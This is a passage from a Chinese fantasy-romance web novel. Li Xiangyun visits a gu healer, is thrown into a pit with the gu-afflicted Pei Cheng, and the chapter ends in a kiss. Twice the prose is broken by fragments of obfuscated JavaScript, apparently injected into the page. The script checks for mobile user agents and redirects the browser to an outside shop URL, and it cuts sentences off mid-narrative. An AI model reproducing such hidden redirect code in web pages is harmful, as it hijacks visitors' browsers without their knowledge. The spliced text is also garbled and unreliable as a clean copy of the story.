“经年累月?可是我中毒不过是几日前的事情,且……已经被解了。”李相筠一弯腰头顶一卷竹简飞了过去,再一偏头,一个瓷瓶擦过,她伸手一抓,交给身侧的小药童,脚步不停地跟在老大夫身后。 老大夫边找边摇头道:“不可能,若是几日前,那只能是有人将长成的蛊虫放入小娘子体内,倘若那样的话,小娘子早已神志不清,无法言语了,蛊虫能对饲主有如此显著的影响还能够基本共存,一定是已经已经融合许多年。” 李相筠微一眯眼,又提出疑问:“若是经年累月,为何我从前没有异样?” “蛊虫会蛰伏深眠,缓缓图之,或许是小娘子近期误食、接触了某些会导致蛊虫复苏的东西,可能是一种植物,也可能是一些药物。”老大夫冲他挑了挑眉,“你仔细想想看。” 最近发生的事情可多了。 她受过伤也中过毒,还被李世勋那该死的迷香摆了一道,情况复杂,极有可能存在老大夫说的那种情况。 有什么东西让她一直潜伏在身体里的蛊虫发作了。 蛊虫到底是什么? 李相筠从未见过也没有了解过。 但它该不会在她身体里游走,吸她血,喝她肉,最后从腹腔里爆体而出吧?! 冷静冷静,木已成舟,再想那些乱七八糟的也无意,所以李相筠冷静地问了个关键问题。 “我这种情况,会死吗?” “老夫也不知道,小娘子若想要了解蛊毒,唯有去找蛊医。” 老大夫翻了许久,终于在箱子里找到一本蒙了灰的旧书,他拍了拍灰尘,翻找了一会,寻到其中夹的纸,看了一眼,递给李相筠,“寻常病症老夫或有办法,但是蛊虫什么的只知道个皮毛。而此人据闻曾是南巫寨的人,五年前在槐花巷深处开了一家医馆,当然,寻常人家也不敢上他那儿看病拿药的,但小娘子这样的情况……” 小童人小嘴快,接话道:“死马当作活马医吧!” “……” 谁是死马? 李相筠瞪了他一眼,拿了地址正要走,临时又想起了事,问:“刚刚老大夫讲的那个病例,那位夫人为何要隐瞒真实的病情?” “人之常情,那夫人与其夫君鹣鲽情深,不愿意让夫君伤心难过罢了。” 小童哼了声,插嘴道:“所以说什么情情爱爱让人变得蠢笨才是真的,一个怕夫君伤心隐瞒真相,一个怕夫人难过假装不知道真相,要我说,这两人骗来骗去的,有什么意思?” 骗来骗去…… 李相筠沉吟片刻,道了谢,让飞雨付了看诊钱,两人才离去。 “七……娘子要去见蛊医?” 李相筠穿着裙子,飞雨不能再叫他七郎君。 李相筠扶着车还没上去,回头看飞雨的神情,“刚刚你的表情就不对劲,是这蛊医有问题吗?” 飞雨面色不正常地瞥了旁边一眼,口是心非道:“……没有。” 家主昨夜的发作很不寻常,明明还没有到时间,莫非是因为太子的缘故? 太子身上有蛊虫,难道会是…… 飞雨怔愣在原地,随后又恍然大悟。 唯有这样的解释,家主才会在这个关头留下太子独自前去。 要不然,无论如何现在都不是分开的好时候。 坐上马车没多久,李相筠就大汗淋漓,就连外面的冷风呼呼吹在脸上都没有了作用,缓解不了她身体由内至外的热。 好在,她现在已经知道是什么在她身体里捣鬼了。 李相筠本来是很不喜欢跟什么蛊师接触,但是老大夫说的对,眼下也只有他们能解决她的这个麻烦。 / 到了槐花巷蛊医馆门外说明来意后,依在门柱上的女郎红唇翘起,笑吟吟道:“不是吧,你当真敢进蛊医的门?” “为何不敢?蛊医也是医,难道还会害病人不成?”都到这门口了,李相筠也要安慰自己。 “爽快人!”阿缦打了个响指,把身后的门推开,“那进来吧,不是我夸耀,我阿翁可是南巫寨最厉害的蛊师,天底下最好的蛊虫都是他炼的!” 李相筠往后看了眼飞雨。 飞雨本来就是成天板着脸的小苦瓜,这会脸就像扭成一团的麻糖,纠结不已。 李相筠道:“我们进去吧。” 飞雨张开口,“等……” 阿缦已经蹦到他的面前,背着手围着他转了一圈,一身的银铃叮当,打断他的话。 “你这小郎君瞧着有点眼熟,我们是不是哪里见过?” 飞雨翻了个白眼没回她。 “哟,哑巴还这么坏的脾气,得亏有主子肯要你。”阿缦讨了个没趣,又脚步轻快地跳到前头去给李相筠领路。 李相筠已经把医馆的院子大致环视了一圈,没有瞧见半个人影。 “你们这医馆挺冷清的。” 阿缦背着手,弯下腰,侧着脑袋从旁边看她,试图从帷帽下窥视出点东西。 “都没有人的地方,娘子还不摘了帷帽,难不成是因为长得太丑,见不得人?” 李相筠瞧出来这个叫阿缦的女子就是心直口快,虽然话不好听,但也显得真诚没有城府。 所以李相筠故作迟疑了一下,为难问:“难道蛊医看病也需要望闻问切?这不是与寻常大夫一般?” 阿缦立刻跳起来道:“胡说!我阿翁的水平岂是那些庸医能比的!”她一把拽住李相筠的手臂,急于证明,“不管你有什么病,我阿翁肯定能够治好!” 李相筠随她进了屋,飞雨见状只能紧跟其后。 一进屋去,李相筠的手臂就浮起一层鸡皮疙瘩,若不是这个阿缦还拽着她,她肯定会拔腿就跑。 这间屋布置得十分混乱拥挤,头顶竹笼子挂着,脚边铁笼子关着的全是蛇虫,一见到人来就发出各种可怖的动静。 有蛇吐信子的嘶嘶声也有甲壳虫震动翅膀的咔咔声。 这些虫子不但体型更大,而且颜色也更怪异,一看就不是什么好虫子。 阿缦对这些视若无睹,哼着小调把李相筠带到一个角落,伸腿勾住一张椅子拖过来,麻利将上面堆放的旧布扔开,请她坐下。 李相筠坐下后,她就蹦蹦跳跳撩开帘子往内院跑,口里欢快喊道:“阿翁,来病人啦!瞧着可有钱了,咱们今晚能吃肉了!” 李相筠无语地低头看着自己的指甲盖。 这也太不见外了。 “阿翁?阿翁你怎么不开门啊,里面还有什么人?” 阿缦的嗓音很大,穿过了内院都能让这边的李相筠听见。 过了一会,又听见那女郎喊:“好啊!阿翁原来今天和家主约了见面,难怪要把我骗出去,要不是那茶楼今儿有人砸场子我还不知道回来!阿翁开门!——” 李相筠不想继续和这些虫子待在一起,因为它们好像都把她当做一道美食不断发出激动的声响。 她小心翼翼躲开蜘蛛笼,穿过内院门,一眼就看见在那边又蹦又跳拍着门的阿缦。 “请问……?” 听到声音,阿缦扭过头,两眼一亮。 李相筠刚对上她别有目的的眼睛,立刻扭身对身后的人,道:“飞雨,我想蛊医今日是没有空了,我们走……” “喂!——等等!”阿缦脚步很快,李相筠也不知道她能够跑的这么快,还没等她走出内院就把她又拽了回去。 “阿翁,你出来看看,再不出来这个娘子就要死在这里,她身上的病那些庸医都看不了,只有你能够看!——” 李相筠在她连珠炮的话语里好不容易抽空辩驳了句:“……也没有这般严重吧?” 阿缦却不管,继续拿她当筏子。 “阿翁是真的,你出来!你出来!” 两扇紧闭的门猛地被拉开。 李相筠被突然出现的狰狞面孔吓了一跳。 这老头长得像一个没发起来的馒头,褶子又多,肉又干瘪,脸上还布满了青紫色的斑纹,凶神恶煞,好比挂在墙上的驱鬼图。 “阿……翁?” 阿缦咽了口唾沫,贼心不死把脑袋一伸朝里边看,“家主呢?家主他是怎么了?屋子里怎么这样黑?不点灯吗?” “阿缦,什么生人你也敢往里面带,你——”胡老余光瞥见站在后面的飞雨,忽然顿住,把目光放回到阿缦身旁带着帷帽的女郎身上。 老头的注视比那些毒虫还要让人后背生寒,李相筠情不自禁往后退了半步。 胡老往前跨了一大步。 他脖子上的白骨骷髅丁零当啷撞在一块,里面的爬虫纷纷探出头来。 李相筠的后背汗津津凉嗖嗖。 胡老轻轻在空中一嗅,脸上就露出高兴的神色,“你!你就是家主一直放在身边的那人?居然还没有死,看来那晚是家主救了你一命,我想想看,是他的血对吗?” 胡老又砸吧了下嘴,好像时隔这么久,他还能在空气里尝到那股血气。 李相筠心道:南巫寨出来的莫非都是狗鼻子?狗舌头? 胡老绕着李相筠转了一圈,手里的银环拐杖时不时想挑起她的帷帽。 李相筠也没有客气直接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14261816|145793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 推了回去。 胡老也没有多在意,继续道:“你可知道他的血是天下至毒之物,所以寻常的蛊毒才会失效。” 李相筠听明白了,他虽然管裴承叫家主,可上一回在铜矿山他却驱使毒蛇毒虫攻击了他们! 而后裴承用了自己的血给她解毒。 莫非是他的血才让她身体里那什么蛊虫复苏了? “阿翁你在说什么呀,我怎么听不明白?”阿缦想凑上来撒娇,但是被胡老用手杖冷酷地顶开,他的现在一心只想把李相筠研究个清楚。 “家主为何对你如此不寻常?你有什么特殊之处?”胡老盯着李相筠不放,就像是毒蛇阴恻恻盯住一只肥美的兔子,绝不会轻易放过。 她身上是有不对劲的地方,但是这老头的表现更让李相筠不安。 他不像是想要治病救人的医士,倒像是乐衷于拿人试药耍玩的疯子。 是了,他可是南巫寨出来的。 她真是昏了头才找上门自投罗网啊! 李相筠转身要走,胡老却用手杖拦下她,两眼冒着炙热的光芒,状若疯狂道:“快告诉我!你身上有什么?” 此人八成是个疯子,李相筠还是怕他放虫子咬她,不敢轻举妄动,唤道:“飞雨。” 裴承要飞雨保护她,他就不能坐视不管。 飞雨立刻健步上前,抓住胡老的手杖。 胡老放开手杖,跨前一大步,紧握李相筠的手臂。 那枯枝一样的手爪相当有劲,李相筠竟无法挣开,那晃动的白色头骨骷髅里的虫蛇也都在蠢蠢欲动,仿佛做好准备随时从里面一跃而出。 李相筠毛骨悚然。 胡老的手指在她的手腕上上下移动,时不时重捏几下,就好像把住她的脉搏。 李相筠屏住呼吸,既是害怕又有好奇,她实在也想知道他能够看出自己身体有什么问题。 忽然胡老就狂笑不止,两眼冒出精光,连连发出“啊”、“啊”的感叹声。 “我知道了,我懂了,原来如此,你居然……” 李相筠见他状若癫狂,立刻拔.出匕.首,随时准备应对。 胡老却松开了她,从怀里拿出一只竹笛,横在唇边吹出了几个急促尖锐的音。 当得声,匕.首落地。 李相筠听到笛音的瞬间五脏俱焚,身体疼得只想蜷缩在一起,她伸手捂住耳朵,可是那笛音无孔不入,让她痛不欲生。 这就是蛊师的本事? 光凭笛声就能让人如遭斧戟之刑! 飞雨劈手夺走胡老的竹笛,顺势勾住他的脖颈,狠狠勒住,“七娘子!快走!” 胡老被勒得涨红了脸,怒道:“拦我做什么?你是裴承的属下,难道就不想救你的家主了吗?” 飞雨手微松,“你的意思,家主现在危险?” 裴承? 李相筠气喘吁吁把掉在脚边的竹笛牢牢握在手里,生怕胡老再拿到手里,吹出那鬼一样的一曲调。 “什么!什么!家主怎么了?阿翁你快说话呀?”阿缦在一场混战之中终于有听到了自己想要知道的事,心急道:“不行,我得去看看。” 说着她就想趁乱冲进刚刚胡老待的屋子里。 胡老当机立断抓住阿缦,扬起声喊道:“飞星你这赖泼耍滑的小子,死哪里去了?” “来了来了!”远处一个人影飞快闪来,正是跟着裴承离开的飞星,他见此地一片混乱,搞不清楚状况,惊诧道:“飞雨七娘子你们怎么在这?” “飞星,家主呢?”飞雨扔下胡老,迎上飞星,瞧见他居然端着一大盆血,顿了下,“家主犯病了?” 飞星点了点头,就像是找到了主心骨腾出一只手拽住飞雨道:“家主带我来此没多久后他就不受控制了,幸好胡老有法子不然……” 不然后果不堪设想啊。 李相筠正在看飞星飞雨,后脖颈忽然一痛,她一摸脖子,竟然抓到了一只毒虫,当即把虫子甩在地上,用脚踩住,转头对胡老怒道:“你做什么?!” 胡老改手去抓李相筠,对飞星挥了一挥手,兴奋道:“那黑狗血不要了,有她就够了!” “什么意思?” 李相筠来不及反应就被胡老一把拽进屋,阿缦也想跟着进去。 胡老对飞星喊:“拦着阿缦,别叫她给我捣乱!” 飞星当机立断放下铜盆,飞身过去就把阿缦给点住了。 这时屋子里传来李相筠一声惊叫,随后是重物坠地的闷声,飞雨下意识冲进去,“七娘子!” 并不见有李相筠的身影,只有胡老低头往地下看着什么。 他几步走上前,跟着往下看。 屋子中挖有地洞,洞内昏黑,只能隐约见到李相筠的一片衣角。 “七娘子?!” 李相筠没有反应。 飞雨目测了下深度,猜测李相筠八成是摔昏厥了。 旁边胡老桀桀怪笑,飞雨拔.出刀,胡老踉跄退后两步,但挂在脖上的白骨骷髅还是散落一地,虫蛇满地乱串,慌不择路。 “你居然把家主扔进地洞里!”飞雨把刀横在胡老的脖颈上。 蛊师们把最毒的虫子都放在最深的洞窟里,只在顶部开一个小洞,他们把孩子们从洞窟口扔进去,没有办法出来,只能与毒物共存。 飞星去拦飞雨,连连比划,“诶诶,飞雨你你冷静!别冲动!胡老也不是故意的,这次是家主实在不受控制,我们也只能出此下策……” 飞雨把刀移开了寸许,问道:“那七娘子怎么办?为何要将她扔进去?” 飞星挠头,“这个……” 胡老弯腰捡起一只骷髅头,爱怜地抚摸着从里面伸出一个脑袋的小蛇,翻了个白眼道:“别人都说你们兄弟之中哥哥莽撞而你飞雨稳重,我看你小子才是那个三言不合就冲动行事的。” 一句话让兄弟两的脸色都变得难看。 飞雨握紧刀,胸口仍在剧烈起伏。 他是很想杀掉胡老,这么多年里留他苟且偷生全因为家主身上的日蛊不加以控制就很容易失控。 而这世上对日月蛊最了解的人莫过于胡老。 胡老围着洞口转,啧啧道:“老夫这些年一直在找月蛊的下落,你们也知道当年日月蛊是一起养大的,两者相生相克,能够克制日蛊的唯有月蛊,如今月蛊在这位娘子身体里,你说我为何不能这样做?” 李相筠刚醒来,就听见上面的声音。 “可是这娘子是家主交到我手上,若她有个好歹,我如何向家主交代!” 胡老忍不住骂道:“死脑筋,裴承都要死了你还管别人的死活做什么?” 裴承? 李相筠把帷帽摘下来,揉着摔疼的胳膊后背,边扭头往四周环视。 在她左后方的角落里依稀坐有个人影。 “裴承?” 李相筠轻轻唤了声。 黑暗处缓缓睁开了一双眼睛,泛着不详可怖的红。 42.蛊发 裴承? 李相筠有点不敢相认这隐匿在黑暗当中,眼冒红光的人会是裴承。 他的呼吸很重又急促,像头已经不能思考的野兽。 李相筠对上他视线的那一刻,脑子一片空白,唯有“惊悚”二字牢牢印刻。 难怪他要隐瞒行踪到这里来,他看起来病得可比她重多了! 李相筠用尽全身力气将自己往后挪动,直到背靠住粗粝的墙壁,完全隐藏在黑暗当中。 这时从上方的洞口处传来了蛊医和飞雨飞星的交谈声。 “万幸你们把月蛊带到了这里。” 胡老的嗓音尤其愉悦,“不过家主也真是任性,明明解药就在身边还不用,非要把自己折腾成这幅模样,老夫虽然厉害但也不是神仙,岂能次次救他?” “可是现在家主失控了,他不知道轻重。”飞星忐忑道:“胡老你就这么草率地把他们放一起,这样可以吗?不用再烧点香,下点药?实在不行你吹吹笛子啊!” “用不着,家主又不是三岁小儿,他知道怎么办,这是人的本性。” “这跟岁数有什么关系?家主从前都是抗过去的……而且你不能一点也不保障那娘子的安危。” “对!飞雨说的一点也没错。” “区区一个小娘子,等她死了,我把月蛊收回,再找个合适的人种下,日后对家主而言更好。” “原来你是打着这个主意,家主绝不会答应,飞星,下去救人!” 李相筠一惊,她万没想到这老蛊医果然恶毒,根本不在乎她死活。 好在飞雨飞星还算仗义,李相筠一边谨慎防备地盯住角落里睁着一双赤红眼睛的裴承,一边等着人下来救自己,然听见砰砰两声沉重的砸地声,上面诡异地再没有动静。 李相筠捂住后脖颈,暗道不好。 这是蛊师的地盘,他既然能让毒虫咬自己,也会放虫子咬飞星飞雨,搞不好两人都被毒翻了。 她分出余光去看头顶光亮处,判断那洞口的高度,光凭她一人是别想蹦出去。 阿缦的声音响起:“阿翁你说的可是真的,那月蛊,月蛊真的在那娘子身上?” “错不了,裴承的日蛊每年发作的时间都是固定的,绝不可能无缘无故提前,这正是因为月蛊在他身边影响了他。”胡老冷嗤一声,“也不知道那娘子是什么人,他宁可让自己如火焚烧也不肯碰一下。” “反正她死定了,是什么人有什么干系!” 原本李相筠还当阿缦是个天真可爱的女郎,没想到她竟完全也不把她的性命当回事,甚至还盼望她死,果然是南巫寨出来的人,邪性和残忍已经根深蒂固。 李相筠气恼。 一会气自己居然会来找蛊医看病,一会气飞星飞雨不顶用。 最后她还是把眼睛转回到不远处的裴承身上。 什么日蛊月蛊,都是南巫寨的东西,她身上怎么会有这种邪门晦气的东西,说不定就是裴承给她下的。 她手握紧,竹笛在她手里嘎吱叫。 随后阿缦的声音又响起,这次带着些担忧,“可是我很担心家主,他从前都没有提前发作过,会不会伤着他身子啊?” “若没有月蛊在,的确要担心一下,但如今月蛊就在这里,只要他身体里的日蛊能够与月蛊交融,天亮便会恢复如常……” “万一不能呢?” “什么不能?”胡老反问了一句,阿缦扭扭捏捏不说,胡老便冷冷道:“那就是他自寻死路罢了!” 阿缦赶紧道:“呸呸呸,家主才不会。” 伴随木板挪动声,头顶的光越来越小,祖孙俩合力把打开的机关合上。 “阿翁我们先前可说好了,等那娘子死了,你要把月蛊给我!” “好好好,阿翁都应你。” 祖孙两其乐融融离开。 当最后一点光消失,李相筠冷汗已经浸透了后背。 她觉得后颈上那被虫蛰过的地方发烫发肿,应该是毒素侵入体内。 那蛊医还想自己帮裴承解什么毒,应当不会用毒虫把她彻底弄死,只是让她身体麻痹不能动弹。 黑暗中那红色的眼睛忽然消失,是裴承闭上了眼睛。 李相筠更加紧张,仔细聆听四周动静。 地上铺着的一层干燥稻草会帮助她及时辨别裴承的动向。 但是很安静,一直很安静。 只有裴承的呼吸声清晰入耳。 “裴承?” 李相筠小声地唤了他的名字。 或许那蛊医错了,裴承并没有失去理智,他仍然能够控制自己。 倘若他没失控,那是不是可以帮她解了这麻痹人的蛊…… 等等,她的手好像稍微能够动了。 难道这蛊毒对她作用并不大? 李相筠精神一振,颤巍巍从腿上摸出自己的刀。 “……抱歉。” 裴承忽而开口说话了。 李相筠定了定神,看向前方,那双赤红艳丽的眼睛并没有变化,只是因为眼皮下耷而遮去了大半,只有些许诡异的微芒,似乎在暗暗窥探着猎物。 “你,没事吧?”李相筠尽量不让匕.首出鞘的声响惊动对方,生怕他暴起发狂,这么小的空间里,她打不过也没处藏。 “你不怕我?” 那双眼睛又睁大了些,更显得裴承人还精神。 李相筠很欣慰。 裴承果然不同凡响意志过人,区区日蛊奈何不了他,他们兴许还能相安无事到天亮。 “你好端端地讲人话,我做什么怕你?”李相筠已经将匕.首抽.出鞘,好在此地无光,也不用担心利刃反射出光让人瞧见。 裴承似乎很轻地笑了声。 李相筠立刻手臂浮起一层鸡皮疙瘩,他这一笑就好像他能够看见她的动作,也知道她手上有匕.首。 “你的右手边,往前……”裴承的声音停顿了好一会,才虚弱道:“往前七步的位置,从底部往上数第二块砖推进去,后面有暗道能够出去……” 能出去? 李相筠一喜。 果然天无绝人之处。 她把竹笛顺手往腰间一插,抹黑估摸着距离,在墙上左右摸索,果不其然找到那块机关砖,推进去,咔嚓一声,整面砖墙都可旋动,后面隐约有空气流动的微风,是个出去的通道。 “裴承,你不跟我一块出去吗?”李相筠往里面走了一步回头“看”,她其实已经看不清裴承具体的位置,因为他又重新闭上了眼睛。 耐心等了一会,才等来一句虚弱之言。 “不出去了。” 李相筠刚刚听那蛊医说了许多,也并非没有听明白。 那蛊医说的日蛊月蛊分别在她与裴承的身体里,裴承提前发作也是因为她在旁边的缘故,而能缓解他如今状况的也唯有她身上的月蛊。 李相筠并不想窝囊地死在这里,死在裴承的手上,她想离这邪门的东西越远越好,但是偏偏脚却很难往前挪动,那该死的一点良心绊住了她的脚。 她努力抽了口气,咬牙道:“裴承,那你会死吗?” 裴承就像已经死掉了一样安静,若不是李相筠又看见他缓缓睁开眼,只怕要以为自己的话没有被听见。 可他睁着眼睛却不出声,实在让人失去所有耐性。 李相筠讨厌他现在磨磨唧唧,喝道:“说话!” 裴承似是无奈又好像是自嘲,“我不知道。” “你怎么不知道?……那蛊师说我身体里月蛊的事,你可知情吗?” “那日才知道。” 裴承除却声音有些虚弱之外,其实吐字还算清晰,没有不寻常的地方,这让李相筠的心稍安,故而也没有立刻拔脚就走。 “那日是什么时候?” “郸城外。” 这么说她身上的蛊并不是裴承下的? 李相筠也想起来了,“所以是因为我你才发病?”顿了下,她又改口道:“不对,这也不能怪我,我最近也觉得奇奇怪怪的,可能也是月蛊的影响?” “你不舒服?你身体怎么样了?难受吗?”裴承的声音虽轻但急,末了他又低声道:“我不知道月蛊具体会怎样,但胡老说过,应当不如日蛊这般霸道凶险……” 李相筠道:“现在好多了,就是刚摔下来撞到了背……”李相筠又顿住话,因为这点伤无足轻重,“你呢?你为什么宁可待在这里也不跟我出去?” “出去会伤人。” “所以你让我走,也是怕会伤到我?”李相筠干脆转过身,“可是那蛊师也说了,倘若没有我身体里的月蛊,你可能会死,你为什么还要我走。” “我也不一定会死,你还不走?” 李相筠摸着出口的石砖,只要一转身她就能够出去,可她犹豫了,因为这是裴承给她的恩情,她最讨厌欠人恩情,尤其是快要死的人。 因为死了,她永远也还不了,就好像皇兄,无论她做什么,都还不了。 “你当真不需要我在?我走了可就不会再回来了。” 再不回来。 那双赤红的眼睛直直看来,那诡异的颜色隐隐有加深的迹象,就仿佛是李相筠说了什么冷酷无情的话,抛弃了他这个小可怜。 李相筠的心脏都不由颤了颤,好像给浸泡在酸水当中,又酸又胀,填满了胸腔。 她不知道自己究竟是出了什么问题,明明可以一走了之,偏偏要多嘴一句:“对啊,有什么我能够帮上的举手之劳,快说,不然我就真的走了后悔也来不及了!” 裴承的眼睛轻轻阖上,从出口流进来的风吹在了他的脸上,有些冰冷。 像是那一年的风雪。 冰冷的晶簇凝结在他的睫毛上,沉甸甸地压住他视线,只留下很窄细的一条缝隙。 身边躺在雪地上的人,一手搁在微微起伏的胸前,一手虚虚抓在他的衣摆。 他的面孔乌青,双眼赤红,脖颈上的血管骇人地高高鼓起,一副命不久矣的模样。 这是教他读书习武的老师,一个南巫寨外来的人。 他静静听着他细若游丝的话语,没有反应。 风雪是这样冷,到处都苍茫一片。 “执玉,你不能再继续待下去了,你母亲……你母亲爱你如命,你怎忍心把自己困在这里,你走吧,前面的路能够通到寨子外,你还有机会……有机会过不一样的生活……” 他站在没有动,雪花慢慢覆在他的头上、肩上,把他塑成了一尊雪人,只有鼻息喷.出的热雾显示出活人的气息。 “最后跟我说说话吧,什么都好,说说吧……”男人的声音与气息都变得微弱,请求甚至是哀求,“说点……什么……” 这是男人唯一的执念,手指用尽力气拽住他的衣摆,仿佛也想把他带入这痛苦的泥沼中。 他知道男人想要听什么,但依然固执地没有出声,仿佛在和自己较劲,在和那个别扭的不肯轻易原谅的少年较劲。 最后男人的手脱力坠下,砸在积雪之上,声音很轻,就好像一片凋零的落叶虽不甘,但还是旋落枝头,一去不返。 风吹着雪花在空中打转,点融在脸颊上,缓缓流下两行水迹。 许久许久,他才费力睁大眼睛,看清倒在雪地里的那张脸,颤着声道:“老师?” 雪花均匀地覆着男人的脸,眼睛鼻子嘴巴,无一幸免。 “老师?” 他无助地,拔高了音调。 男人再没有理他,仿佛已经静静地死去,多时。 他膝盖沉重,扑通跪在雪地里。 “父亲!” 迟一步,便是错一世,再无挽回。 ……他死了,李相筠能活下去吗? 他还不想这么快死去。 “不要走。” 李相筠愣了愣,反应了许久才回过神,“你是叫我留下来吗?” 裴承跟着道:“留下来。” 李相筠迟疑了下,“……万一你发狂,伤了我怎么办?” “你不是拿了刀,随时准备捅我吗?” 李相筠:“……” 她就说吧,总感觉裴承这厮狗鼻子狗眼能够看见! 而且这对话莫名有些熟悉,就好像……就像是她梦到的那样。 “我留下来,还要做什么才能帮你快点好起来?”李相筠握紧匕.首,循声走近,可没有走两步她又停步,“我靠你太近,会让你难受吗?” “不会了。” 李相筠走到裴承的跟前,蹲下身,刚好就摸到裴承放在膝上的手。 他的手温很低,像冰块,若是普通人会觉得冷得难受,但对于李相筠而言反而有点舒适。 正好与她的体热抵消。 不过她不能拿着裴承的手不放,悻悻放下,又问:“为什么我身上会有月蛊?是什么人给我下的?” 裴承道:“我不知道……当年是你皇兄怀贤太子带人到南巫寨,南巫寨里混乱一片,月蛊也不见踪迹,我本以为你皇兄是用在自己身上,因为月蛊可解百毒……” “我皇兄?” 皇兄果然去过南巫寨。 裴承继续道:“怀贤太子到南巫寨时,身上有天星草毒。” “不可能。”李相筠立刻道。 “他从南巫寨把我带出来后我亲眼所见,也是我告诉他月蛊能够解百毒,兴许对天星草毒也有用。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14261817|145793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “可是……月蛊却在我的身上?皇兄他……”李相筠说着说着自己失了神。 皇兄的尸身上,有天星草毒的痕迹,可若中了天星草毒活不过三个月,时间也对不上,倘若皇兄是用月蛊为她解了毒,那皇兄自己呢? 皇兄死在四年后,兴许当时他已解了毒,而后再次中了毒。 可究竟是谁给他下的毒,要致他于死地。 李相筠敲了敲自己的脑袋。 倘若她没有失忆,或许能够想起点有用的线索,偏她该记起的没有记起,不该记起的乱七八糟却记起了。 拳头靠着额头,无论是手还是头感觉都很热。 李相筠用手背靠上去,发现并不是自己的错觉,不但是额头,她的耳朵脖子都变得很烫。 可是她身上却没有汗水。 就算是不懂医术的人也知道闭而不发会有大问题。 她就好像一个烧得滚烫的炼丹炉,所有的热都团在里面,无法发散。 “裴承,你有没有觉得好热?那该死的老头是不是放火在烤我们?” “热?”裴承伸出一只手摸过来,先触碰到她的脸,而后握住她的手。 “你怎么还这么凉……”李相筠都舍不得裴承放手,于是反客为主握住他。 她滚烫的手掌心和五根指头紧紧贴着裴承的手背,舒服地险些轻叹一声。 好凉快,可惜只有一只手凉快,她身上也好热…… 裴承没有甩开她,任由她在他手上蹭,“我身上的日蛊发作时候会让身体由热转寒,那月蛊想必是相反的,由寒转热。” 李相筠拉了拉衣襟,热得坐立不安:“那怎么办?” 她从小体寒,吃尽了手脚冷僵的苦,但没有想到身体燥.热也是十分痛苦的,她现在恨不得扒光衣服跳进结冰的池子里浸泡消火。 “你有办法的吧?你的蛊和我的蛊听起来是相反的,我们是不是在一块就能舒服些?” “嗯……” “然后?” “日月蛊分为日蛊与月蛊,日蛊性烈克万毒,月蛊性温解百毒,日月蛊相生相克,中蛊应择阴阳体,阴体种日蛊,阳体种月蛊,方能够阴阳平衡。” “阴阳平衡?也就说我们得让日月蛊在一起?”李相筠被烧得心急火燎,干脆一屁股坐在裴承身侧,“这样可以吗?” 没到片刻,李相筠自己就摇起了头,“不够。” 光走近握着手,她没有一点被缓解的感觉,反而越来越难受,五脏六腑都被火烧灼着,嗓子眼都要冒烟了。 “裴承,我好难受……” 若是普通的病痛,打死李相筠她都不可能对裴承低头。 但是这蛊虫带起来的热就好像真真切切在她身体里放了一把火,火势蔓延变大,愈演愈烈,她的骨头架子都好像快被烧穿了。 这些年裴承每一年都要经历日蛊带来的折磨,忍耐度远比胡老等人所能够想的多,他可以忍住不发狂,也能忍住留李相筠在身边而不撕碎她。 “忍忍。”裴承按住李相筠的手,把自己的经验教给她,“蛊虫在你的身体里,你们一荣俱荣一损俱损,故而它并不会真的伤害你的身体,只是想要让你服从它的意愿。” “意愿?什么意愿?”李相筠烧得神志不清,扯住裴承的衣襟,凶巴巴道:“把话说清楚了,不然我现在就捅了你!” 裴承倒不是怕李相筠捅他,但看见她如此难受,也只能回道:“日月蛊要气息交换,阴阳交合。” 只是这个法子不适合他们,故而他按住李相筠的手,“你信我,能忍过去。” 忍? 李相筠已经忍不了一点了。 听完他的话就反复琢磨那八个字。 气息交换,阴阳交合。 酒宴上听过艳.诗有云:美人呵气如兰兮,君子心脾之荡漾;唇齿相依含气兮,使君肝肠而柔腻…… 这不就是指亲嘴吗? 李相筠还当是什么大事,如此不痛不痒的小事裴承扭扭捏捏做什么? “李相筠?”裴承的音调微变,因为李相筠的手松开了他的衣襟,摸到他的脸上。 那只手又烫又滑,在他脸颊上反复摩挲。 匕.首掉进稻草堆,她也没有反应,腾出来的两只手全放在他的脸上脖子上,像是在给自己降温,又仿若亲昵地抚.摸。 裴承推不开她。 因为李相筠渴.望他皮肤上的凉,他也贪享她身体上的热。 他的眼睛微阖,喉结翻滚,只有放在膝盖上的手紧紧握成拳。 李相筠从小被当做皇子养,固然明白男女之别,但到底没有寻常女郎那样谨小慎微,把清白当做一件要命的事。 她只有想要和想做的事情。 眼下,她想要的是让自己不要这么难受,想做的是利用裴承让自己不要这么难受。 两只手捧住裴承的脸,让他没有办法转开,然后猛地把自己脸贴近,把唇怼上去。 吧唧——好大一声。 裴承还没反应过来,李相筠就抽.开了身,隔着一小段距离,兀自嘟囔,“也没什么用啊?难道是姿.势不对……” 两瓣软唇再次压在他的唇上,这次时间更更久,甚至她还歪着脑袋,变换着角度,仔仔细细碾了一遍,分开,再压。 裴承的眼睛因为吃惊而忘记了闭上。 李相筠柔软的发丝垂坠在他的颈窝,时不时扫过他的锁骨,皮肤相亲,那温热细腻的触感让人战栗。 一种难言的快意从脊椎末骨升腾,在腹.腔处凝成一团。 僵冷的四肢也逐渐复苏,蛰伏的兽意也逐渐苏醒。 倘若李相筠现在仔细看着裴承的眼睛,一定会更加小心和防备,但是她现在只有多次尝试而不奏效恼怒,把裴承往前一推,擦了把嘴,气道:“不管用,不试……” 话没说完,她的后脖颈被裴承抓住,人被拉住往前。 李相筠才“啊”了声,嘴就被完全堵上。 